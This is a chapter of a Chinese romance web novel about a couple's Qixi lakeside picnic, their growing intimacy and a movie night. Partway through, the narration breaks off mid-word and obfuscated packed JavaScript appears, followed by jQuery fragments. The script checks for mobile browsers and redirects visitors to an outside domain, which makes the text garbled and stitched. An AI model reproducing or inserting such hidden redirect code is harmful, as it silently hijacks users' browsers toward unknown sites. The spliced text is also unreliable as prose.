37. 第 37 章

作品:《如何让我的baby看上我

    夏达海决定戒烟那天,站地摊旁看的一本书叫《教你如何成为心理学家》。


    有陈年灰疤的封面,发黄的书册页,出版社既非高校,也不是国营,一看就是口水书的内容。


    他信了。


    但夏达海没看明白,吸烟影响药物作用的前提,必须患者本身就吸烟。


    李红砂早就过了因新鲜感尝试抽烟的年纪。


    李红砂也闻不到二手烟,他自己戒烟没用。


    总之应了鑫成女朋友说的那句“有了女朋友就是不一样”。


    夏达海自觉戒烟了。


    这本让他升起戒烟心思的书,标价2.69,他也没买。


    夏达海还算有自知之明。


    成为心理学家——大概会是件给红砂添乱的事。


    夏达海打算用他的方法,帮助李红砂走出她的囹吾。


    靠戒烟困难,哄到李红砂第一个,在家外面的吻那天,夏达海开始学着自己写食谱了。


    将前人的食谱,改去不合适的佐料,添加一些滋补身体的用料,综合自创的菜品,变成一本全新的,健康又美味的食谱。


    夏达海以前做饭为了生活,现在做饭纯粹是喜欢。


    李红砂每一次吃他做的饭的表现,都让他感觉自己是个有用的人。


    十全大补的吃多了,难免想吃点不大健康的。


    夏达海看出李红砂的嘴馋,租了玫瑰田湖边的露营点,到七夕这天带李红砂去野餐。


    波光粼粼的湖泊,芬芳的玫瑰,红砂看着美景,吃美食,心情应该会大好。


    他想潜移默化地让红砂正确地对待睡眠。


    不是熬夜,也不是装作乐观地,把噩梦当作灵感。


    上次在酒店的午睡就很成功。


    红砂睡醒下楼,脸上没有从噩梦中惊醒后,未散去的恐慌。


    她在农家乐这几天小憩,尝试午睡,醒来也这样。


    睁眼就会看见夏达海做的安排。


    有时是一盆绿植,有时是一捧花,有时是鱼刺或骨头。


    七夕节,夏达海计划让李红砂醒来,看见一片金光闪闪的湖面。


    运气不太好。


    坐车到这儿,天气便从光芒万丈的烈日,转作不知道何时才会下雨的阴天。


    夏达海望着幽绿的湖泊,恨不得倒回去大学学水利工程,一瞬把这湖净化得清澈透明。


    好在红砂从来都不介意。


    李红砂中午吃太饱,精神放松,疲软下来,斜倚在夏达海肩上小憩。


    夏达海的肩膀有点硬,靠起来不怎么舒服。


    她动动身子,姿势调整好几次都没找到合适的位置。


    夏达海感觉到动静,把手递了出去。


    李红砂没睁眼,抓住他的臂膀,侧脸贴上去。


    她干脆倚着夏达海手臂睡。


    李红砂的呼吸渐渐平稳,夏达海紧绷的身子才稍微放松些,朝旁一偏,探手从旅行小包里,摸出一捧花。


    他一举一动收敛着,幅度不大,惊扰不到身上靠着的人。


    夏达海把花放到李红砂的脚边。


    希望你醒来,有湖有花有我。


    他坐直回去,李红砂紧贴他的臂膀,半睁开眼。


    远处的青云被微风吹动,疏散开,透露些许浮光。


    光飘浮在水面上,将这捧她也叫不出名字的花,照得灿烂。


    李红砂醒来躺在自家床上。


    外面锅碗瓢盆合着水声乒乓响。


    夏达海大概在洗他们今天在外面用过的厨具。


    睡久了头疼,她顶着空调被坐起来,看时间已经下午五点了。


    再睡下去,就该无缝衔接晚餐了。


    李红砂抓抓脸上被凉席硌出来的红印。


    不敢想,从玫瑰田那么远的地方回家,她居然一路都没醒过一次。


    太不像她堪忧的睡眠状况了。


    她端起床头边,夏达海提前放凉的白开水喝了润嗓,趿拉着凉拖鞋出去找夏达海。


    烤架和可循环使用的烧烤签,要洗的用具很多,夏达海回家拿了个大盆过来洗。


    李红砂家的,他没随便用。


    不确定哪个是用来洗衣服,哪个用来洗杂物的。


    女孩子家,这些得区分清楚。


    又怕李红砂醒来找不到他,他便把盆端李家的院子里,做贼似的,压着声响偷摸洗。


    洗涮的声音,肖似最近流行起来的ASMR。


    夏达海方便洗碗,把袖子卷了起来,一件灰黑色的短袖被他卷成背心。


    暗棕的手臂,多出几道抓痕。


    往日李红砂是看不出来这些抓痕的,如今身份不一样了,放在夏达海身上的观察力也不一样了。


    她走过去蹲下,伸出根手指头戳戳他的手臂。


    一刹,肌肉紧绷,鼓了起来。


    李红砂习惯了他容易激动的性子。


    收了手,抱着双膝看抓痕。


    抓痕下面,有她上次意外给他捅出的刀疤,浅浅一道,却深。


    “这里怎么多了几道抓痕?”


    盆里清碗的手短暂地停顿下,夏达海舔了下唇:“湖边蚊子多,挠的。”


    他带出去的花露水,一向只喷在她身上。


    男人出门好像都不爱做这些准备。


    因此谎话再拙劣,李红砂也信了,夏达海那张脸太老实。


    “下次你给我喷花露水的时候,自己也喷点儿。”


    “好。”他答应得很快。


    耳根却烫着,帮他回忆回来路上的甜蜜时光。


    李红砂深度睡眠的状态,原来是泼皮的个性,受不得一点打扰。


    夏达海看湖边的天色不对,想把她叫醒,刚出声,嘴上就挨了没轻没重的一巴掌。


    他只能将她抱起,收拾带来的野餐用品。


    大概是忙着收拾,他没抱好,单臂箍着她不舒服。


    李红砂拳打脚踢,挣扎得厉害。


    抓痕就是这么留下来的。


    夏达海到了租好的面包车旁,放好东西,改双臂抱着,带李红砂到后座上。


    后面车开出去,李红砂不知道怎么找的位置,屁股坐在他的手臂上不下去了。


    人该说直着身子,还是趴着?


    双手圈住夏达海的脑袋,扒拉都扒拉不下来。


    夏达海被迫埋进一片柔软中,只露出半张脸,一只眼睛。


    她的胸膛贴着他的脸起伏。


    前面开车的大姐透过后视镜,揶揄地瞧他们好几眼。


    面包车的空间不比私家车大多少。


    李红砂这样睡,脑袋被车顶压着,靠在他头顶,肯定睡不安稳。


    虽然不清楚她为什么没醒,到家后,夏达海把她放床上趴着,给她揉了好一会儿后颈。


    这些李红砂在睡梦中,一无所知。


    她喝着夏达海做的菌汤,跟夏达海打商量:“你不能再不让我做事了。”


    “这样不好。”


    李红砂总说这样做不好,那样做不太行,夏达海想不到她那些顾虑,却还是点头答应:“那你一会儿帮我收碗吧。”


    李红砂笑了。


    吃好的碗筷被她打包进厨房,下秒,她人就被夏达海送了出来。


    合着收碗还真就只收碗。


    李红砂在院里的躺椅上瘫着,回袁永晴给她发的消息。


    夏达海给刘女士和夏父订了个夕阳红旅行团,半个月后,最后一个目的地在京北。


    她拜托永晴照看一下。


    永晴同意了,就跟她东拉西扯到别的地方。


    还是不正经。


    她问李红砂,后面还有没有和夏达海做,感觉怎么样,他在床上有没有情趣,讲不讲DirtyTalk?


    李红砂红着脸回。


    “有。”


    “还行。”


    情趣一类的问题,她一个字都不多说。


    袁永晴笑话她脸皮薄。


    李红砂生气,决定屏蔽袁永晴的消息三分钟。


    DirtyTalk——


    酒店之后,他们也就来了两次,都是时间地点正好合适,凭感觉走。


    夏达海虽然在这种事情上,缺乏些克制,但不至于到DirtyTalk那种地步。


    他抓她都不敢太用力,生怕留下过重的痕迹。


    跟她看的一些阴湿小说男主,完全不一样。


    床上的Talk,李红砂眼睫颤了颤,不动声色地回忆,比起Dirtyt


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938958|175317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    alk,夏达海更喜欢说Sweettalk。


    尽管夏达海可能反应不过来这个词的意思。


    酒店那晚,他两只大掌按住她的腰,气息滚烫紊乱,语气却沉而稳定地说。


    “抬一点,很好。”


    “是不是酸?”


    “乖,很棒,再一下下就好了。”


    无法评价的情趣,李红砂只顾着上头了。


    这些话夏达海离开床,可不会对她说,他只会用那双下垂眼湿漉漉地盯着她,暗自表达。


    李红砂揉揉痒痒的耳廓,莫名想逗夏达海,让他站在地上说出来。


    爱夸别人乖的夏达海乖乖洗了碗到院子里,端一碗阳光玫瑰,喂李红砂吃。


    也许是各自存了心思。


    葡萄吃到嘴里变了味。


    夏达海来找她讨戒烟成功的奖励。


    青绿圆润的葡萄被他放在小腹凹陷的位置,红舌舔了下。


    葡萄湿润的一面被翻到下面,李红砂浑身一颤。


    他又在问:“可以吗?”


    李红砂望着这青天白日,那点快被夏达海糊弄过去的道德,噌噌噌地冒了出来。


    “不行。”


    拒绝的话刚说出口,就听见夏达海咬住葡萄唔了声。


    李红砂不敢看他,用手臂挡着眼:“现在……还是白天。”


    这种事怎么能发生在白天!


    话音刚落,天公来作他的美,阴云密布,骤降暴雨。


    已经不是白天了。


    认为夏达海老实,不算错觉。


    人具有多面性,没说一个人老实,就不能狡猾。


    夏达海那点子心眼儿全用李红砂身上了。


    人常说,在一起才能看清一个男人的真面目。


    这话到李红砂这儿也管用。


    夏达海外表看起来又蠢又老实,被子一掀一盖,人就精明了。


    一直闹到晚上,雨停。


    两人裹着被子,抱个电脑找电影看。


    网站找了个遍,最后选了部国外的爱情喜剧片。


    还是系列电影。


    能拍好几部的,口碑一般都不会太差。


    电脑荧光照在两个人脸上。


    只有李红砂看得聚精会神。


    夏达海长这么大,今天才发现,他做不到一心二用。


    他读字幕太慢不说,看字幕就看不了人,看人就听不懂他们在说什么。


    不仅如此,他好像还脸盲。


    男主还是男主兄弟,反正下巴像挨了一刀,凹进去的两个人,跟双胞胎似的。


    他全程没分清女主在跟谁谈恋爱。


    夏达海看不了,就斜眼偷看躺在他怀里的李红砂。


    她喜欢枕,或趴在他胸口处,这个地方的肉放松了,特别软,他自己也很满意。


    外国的纯喜剧片比较无厘头,催泪的地方很少。


    唯一能跟眼泪挂上钩的,就是那个不知道是男主还是男主兄弟的角色,滑铲过去,接住被反派从高空摔下的女主。


    一个帅气的姿势翻滚收尾后,他说:“Baby,wearesave,wearesavenow.”(宝贝,我们现在安全,安全了。)


    电脑大屏显示男主的帅脸,李红砂难以自持地低低尖叫一声。


    很小很短促。


    夏达海这双狗耳朵捕捉到了。


    他不明白电脑里的男人帅在哪儿,但能让李红砂开心的事,他都想学。


    于是——


    “卑鄙。”


    正想暂停,让夏达海帮她倒杯水来的李红砂:?


    他骂我?


    良好健康的感情需要沟通,李红砂准备不喝水,问问夏达海在骂什么,只听电脑里又传出一句。


    “Baby.”


    哦,她懂了。


    李红砂暂停电影:“大海,可不可以帮我倒杯水。”


    夏达海低头看着她,也许是她没听见,他张了嘴。


    李红砂说:“我好渴。”


    他马上去了。


    还好。


    李红砂不想再让夏达海站地上,说那些他平常不会说的SweetTalk了。


    她喜欢夏达海,但感觉是原则上的问题。